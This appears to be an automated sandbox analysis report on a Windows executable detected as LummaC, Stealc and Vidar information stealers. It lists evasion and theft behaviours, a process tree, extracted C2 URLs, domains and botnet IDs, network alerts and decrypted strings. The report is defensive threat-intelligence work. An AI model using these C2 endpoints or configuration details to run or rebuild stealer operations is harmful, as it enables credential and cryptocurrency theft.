Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1522594
MD5:	239144713534aecb31e32cae4afb4645
SHA1:	fc5943e5c7d751bb7225a3856032091090f74748
SHA256:	926091fb9ecdefb9b61384f2b65084f7b1dbb52d8b1c8de7ee0ea415d828aed2
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar

Yara detected Vidar stealer

.NET source code contains very large array initializations

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7304 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 239144713534AECB31E32CAE4AFB4645)

conhost.exe (PID: 7312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7368 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7376 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

IDGDAAKFHI.exe (PID: 7892 cmdline: "C:\ProgramData\IDGDAAKFHI.exe" MD5: 32C2E31313C3DF4A7A36C72503A5BEBA)

conhost.exe (PID: 7900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7952 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

DGHIECGCBK.exe (PID: 7988 cmdline: "C:\ProgramData\DGHIECGCBK.exe" MD5: 38DABC7063C0A175A12C30BD44CF3DBC)

conhost.exe (PID: 7996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 8044 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 8052 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 8060 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

KECFIDGCBF.exe (PID: 8080 cmdline: "C:\ProgramData\KECFIDGCBF.exe" MD5: 2832FBDE1CF7EA83BD6FD6A4A5E8FE15)

conhost.exe (PID: 8088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 8140 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 8148 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 7084 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBGDBKKFHIE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userBGDBKKFHIE.exe (PID: 908 cmdline: "C:\Users\userBGDBKKFHIE.exe" MD5: 38DABC7063C0A175A12C30BD44CF3DBC)

conhost.exe (PID: 1272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7296 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 2996 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBAEBGCFIEH.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userBAEBGCFIEH.exe (PID: 7308 cmdline: "C:\Users\userBAEBGCFIEH.exe" MD5: 32C2E31313C3DF4A7A36C72503A5BEBA)

conhost.exe (PID: 7348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 2828 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 2912 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\FBFIDBFHDBGI" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 2144 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Threatname: LummaC

{"C2 url": ["bellykmrebk.site", "writekdmsnu.site", "commandejorsk.site", "possiwreeste.site", "underlinemdsj.site", "famikyjdiag.site", "agentyanlark.site", "delaylacedmn.site"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199780418869", "https://t.me/jamsemlg"], "Botnet": "12d962a0b4176a0c19c4e61c53bd20b5"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001E.00000002.2393764076.000000000043A000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0000000A.00000002.2161789576.00000000042BE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0000000F.00000002.2171273173.0000000003715000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000012.00000002.2633856552.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.2638069284.000000000122A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1675055595.00000000038E5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1675055595.00000000038E5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: file.exe PID: 7304	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7304	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7304	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 7376	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7376	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7376	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7376	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 8060	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 8060	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: KECFIDGCBF.exe PID: 8080	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 8148	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 8148	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 8148	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 8148	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 21 entries

Unpacked PEs

Source	Rule	Description	Author
18.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.RegAsm.exe.400000.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
3.2.RegAsm.exe.400000.2.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
10.2.DGHIECGCBK.exe.4285570.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.file.exe.38e5570.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.38e5570.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
15.2.KECFIDGCBF.exe.3715570.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
15.2.KECFIDGCBF.exe.3715570.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
30.2.RegAsm.exe.400000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
18.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.RegAsm.exe.400000.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
3.2.RegAsm.exe.400000.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.file.exe.38e5570.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.38e5570.2.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 9 entries

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:22:46.272838+0200	2054653	1	A Network Trojan was detected	192.168.2.4	52536	172.67.205.129	443	TCP
2024-09-30T12:22:47.359279+0200	2054653	1	A Network Trojan was detected	192.168.2.4	52537	172.67.205.129	443	TCP
2024-09-30T12:22:48.339789+0200	2054653	1	A Network Trojan was detected	192.168.2.4	52538	104.21.1.169	443	TCP
2024-09-30T12:23:05.200378+0200	2054653	1	A Network Trojan was detected	192.168.2.4	52547	172.67.205.129	443	TCP
2024-09-30T12:23:06.774641+0200	2054653	1	A Network Trojan was detected	192.168.2.4	52549	172.67.205.129	443	TCP
2024-09-30T12:23:07.727061+0200	2054653	1	A Network Trojan was detected	192.168.2.4	52550	104.21.1.169	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:22:46.272838+0200	2049836	1	A Network Trojan was detected	192.168.2.4	52536	172.67.205.129	443	TCP
2024-09-30T12:22:47.359279+0200	2049836	1	A Network Trojan was detected	192.168.2.4	52537	172.67.205.129	443	TCP
2024-09-30T12:22:48.339789+0200	2049836	1	A Network Trojan was detected	192.168.2.4	52538	104.21.1.169	443	TCP
2024-09-30T12:23:05.200378+0200	2049836	1	A Network Trojan was detected	192.168.2.4	52547	172.67.205.129	443	TCP
2024-09-30T12:23:06.774641+0200	2049836	1	A Network Trojan was detected	192.168.2.4	52549	172.67.205.129	443	TCP
2024-09-30T12:23:07.727061+0200	2049836	1	A Network Trojan was detected	192.168.2.4	52550	104.21.1.169	443	TCP

ET MALWARE Vidar Stealer Form Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:22:50.067561+0200	2054495	1	A Network Trojan was detected	192.168.2.4	52541	45.132.206.251	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:22:49.542332+0200	2044245	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.4	52540	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:22:49.533367+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	52540	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:22:49.718982+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	52540	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:22:50.768254+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	52540	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:22:25.424460+0200	2044247	1	Malware Command and Control Activity Detected	5.42.101.62	80	192.168.2.4	52534	TCP
2024-09-30T12:22:49.763054+0200	2044247	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.4	52540	TCP
2024-09-30T12:23:08.475863+0200	2044247	1	Malware Command and Control Activity Detected	5.42.101.62	80	192.168.2.4	52548	TCP
2024-09-30T12:23:16.804284+0200	2044247	1	Malware Command and Control Activity Detected	5.42.101.62	80	192.168.2.4	52553	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:22:26.071376+0200	2051831	1	Malware Command and Control Activity Detected	5.42.101.62	80	192.168.2.4	52534	TCP
2024-09-30T12:23:09.108852+0200	2051831	1	Malware Command and Control Activity Detected	5.42.101.62	80	192.168.2.4	52548	TCP
2024-09-30T12:23:17.385657+0200	2051831	1	Malware Command and Control Activity Detected	5.42.101.62	80	192.168.2.4	52553	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:22:24.724069+0200	2049087	1	A Network Trojan was detected	192.168.2.4	52534	5.42.101.62	80	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:22:49.335290+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	52540	46.8.231.109	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:22:44.287678+0200	2803304	3	Unknown Traffic	192.168.2.4	52535	147.45.44.104	80	TCP
2024-09-30T12:22:46.001365+0200	2803304	3	Unknown Traffic	192.168.2.4	52535	147.45.44.104	80	TCP
2024-09-30T12:22:47.552348+0200	2803304	3	Unknown Traffic	192.168.2.4	52535	147.45.44.104	80	TCP
2024-09-30T12:22:50.949130+0200	2803304	3	Unknown Traffic	192.168.2.4	52540	46.8.231.109	80	TCP
2024-09-30T12:22:54.618722+0200	2803304	3	Unknown Traffic	192.168.2.4	52540	46.8.231.109	80	TCP
2024-09-30T12:22:55.469538+0200	2803304	3	Unknown Traffic	192.168.2.4	52540	46.8.231.109	80	TCP
2024-09-30T12:22:56.103912+0200	2803304	3	Unknown Traffic	192.168.2.4	52542	46.8.231.109	80	TCP
2024-09-30T12:22:56.859974+0200	2803304	3	Unknown Traffic	192.168.2.4	52542	46.8.231.109	80	TCP
2024-09-30T12:22:57.499414+0200	2803304	3	Unknown Traffic	192.168.2.4	52543	46.8.231.109	80	TCP
2024-09-30T12:22:58.324298+0200	2803304	3	Unknown Traffic	192.168.2.4	52543	46.8.231.109	80	TCP
2024-09-30T12:23:00.519214+0200	2803304	3	Unknown Traffic	192.168.2.4	52545	147.45.44.104	80	TCP
2024-09-30T12:23:01.585325+0200	2803304	3	Unknown Traffic	192.168.2.4	52545	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199724331900

URL Reputation: Label: malware

Found malware configuration

Source: 00000000.00000002.1675055595.00000000038E5000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869", "https://t.me/jamsemlg"], "Botnet": "12d962a0b4176a0c19c4e61c53bd20b5"}
Source: 15.2.KECFIDGCBF.exe.3715570.1.raw.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}
Source: 9.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["bellykmrebk.site", "writekdmsnu.site", "commandejorsk.site", "possiwreeste.site", "underlinemdsj.site", "famikyjdiag.site", "agentyanlark.site", "delaylacedmn.site"], "Build id": "H8NgCl--"}

Multi AV Scanner detection for domain / URL

Source: files.veritas.org.ng	Virustotal: Detection: 5%	Perma Link
Source: http://46.8.231.109/c4754d4f680ead72.php	Virustotal: Detection: 20%	Perma Link
Source: http://46.8.231.109/c4754d4f680ead72.phpp	Virustotal: Detection: 15%	Perma Link
Source: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	Virustotal: Detection: 21%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\DGHIECGCBK.exe	ReversingLabs: Detection: 44%
Source: C:\ProgramData\IDGDAAKFHI.exe	ReversingLabs: Detection: 44%
Source: C:\ProgramData\KECFIDGCBF.exe	ReversingLabs: Detection: 44%
Source: C:\Users\userBAEBGCFIEH.exe	ReversingLabs: Detection: 44%
Source: C:\Users\userBGDBKKFHIE.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66fa2ae906657_snd[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66fa2afc5abea_vasd[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66fa2b049020f_ldnf[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66fa2afc5abea_vasd[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66fa2b049020f_ldnf[1].exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 47%
Source: file.exe	Virustotal: Detection: 49%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\userBAEBGCFIEH.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66fa2b049020f_ldnf[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66fa2afc5abea_vasd[1].exe	Joe Sandbox ML: detected
Source: C:\Users\userBGDBKKFHIE.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\DGHIECGCBK.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66fa2ae906657_snd[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66fa2afc5abea_vasd[1].exe	Joe Sandbox ML: detected
Source: C:\ProgramData\KECFIDGCBF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66fa2b049020f_ldnf[1].exe	Joe Sandbox ML: detected
Source: C:\ProgramData\IDGDAAKFHI.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: delaylacedmn.site
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: writekdmsnu.site
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: agentyanlark.site
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: bellykmrebk.site
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: underlinemdsj.site
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: commandejorsk.site
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: possiwreeste.site
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: famikyjdiag.site
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: possiwreeste.site
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: - Screen Resoluton:
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: Workgroup: -
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree,	3_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	3_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00411E5D CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	3_2_00411E5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040A7D8 _memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,_memmove,lstrcatA,PK11_FreeSlot,lstrcatA,	3_2_0040A7D8
